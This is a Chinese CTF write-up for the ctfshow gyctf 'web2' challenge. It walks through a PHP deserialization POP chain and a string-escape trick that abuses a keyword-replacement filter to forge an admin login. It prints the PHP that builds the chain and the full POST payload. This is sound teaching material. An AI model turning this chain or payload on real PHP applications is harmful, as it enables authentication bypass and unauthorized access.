ctfshow game-gyctf web2 (php反序列化)

刚做到一道个人认为比较难的php反序列化题
首先扫目录,发现一个www.zip,下载后进行代码审计
有四个文件,在update.php中存在这样的代码

if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

因此让$_SESSION['login']==1,我们就能获取flag,但我们又要怎么让它等于一呢?
在lib.php中我发现此处存在对$_SESSION['login']=1;的赋值

if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "";
return $this->id;
}
}

这是基于成功登录用户才进行赋值的,因此我们还要跟进到dbCtrl中去,发现有这样的代码

if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;

有两种方法可以成功登录,第一种是token为admin,第二种是输入与数据库中相同的密码。然而第一种是无法实现的,因为它只有在登录过以后才会对token进行赋值
然后可以注意到public function login($sql)
login的参数为sql,我们可以通过改变这个sql参数从而进行绕过,让其为"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?",我们将输入的密码设置为1便可绕过。

继续进行代码审计,发现Info类的__call魔术方法有如下操作

public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}

让CtrlCase为dbCtrl,我们便可以实现sql参数的改变
接下来便是构造pop链
什么会导致__call的触发,当调用info类中一个不存在的类时就会执行该魔术方法
发现User的__toString魔术方法可能触发info的__call

public function __toString()
{
$this->nickname->update($this->age);#nickname=Info age=select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
return "0-0";
}

我们只需要将nickname设置为Info,age设置为我们想要执行的sql语句即可。
那么又怎么触发__toString呢
我们发现UpdateHelper类的__destruct魔术方法可以实现

public function __destruct()
{
echo $this->sql; #sql=User
}

那么pop链也就构造成功了,看如下代码:

<?php
class User
{
    public $age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
    public $nickname;
}
class Info{
    public $CtrlCase;#dbCtrl
}
Class UpdateHelper{
    public $sql;
}
class dbCtrl
{
    public $name='admin';
    public $password='1';
}

$uphelp=new UpdateHelper();
$U=new User();
$uphelp->sql=$U;
$i=new Info();
$U->nickname=$i;
$d=new dbCtrl();
$i->CtrlCase=$d;
echo serialize($uphelp);
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

接下来我们就需要找地方去进行反序列化。
然后我们发现User类的update方法中存在unserialize函数

$Info=unserialize($this->getNewinfo());

跟进到getNewinfo()

public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\',"*","alter");
return str_replace($array,'hacker',$parm);
}

发现有个safe,那么我们就需要进行字符串逃逸(字符串增多)
我们可以先把serialize(new Info($age,$nickname))构造出来看看
O:4:"Info":3:{s:3:"age";i:18;s:8:"nickname";s:9:"meteorkai";s:8:"CtrlCase";N;}

其中age参数与nickname的参数是由我们自己控制的,然后我们需要进行字符串增多逃逸,将我们要反序列化的代码逃逸出双引号。

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
这是需要逃逸的代码,长度为245

";s:8:"CtrlCase";N;
长度为19
但是在此处我们不能包含后面的N;
因为这是我们后面反序列化时需要用到的
";s:8:"CtrlCase";即可

同时不能忘记最后提前的结束符}

6x=5x+17+245+1
x=263
重复263个union进行逃逸

最后我们只需要在update页面传入如下payload即可
age=18&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

然后访问login,输入admin与1即可获取flag。

posted @ 2024-09-24 20:01  Meteor_Kai  阅读(114)  评论(0)    收藏  举报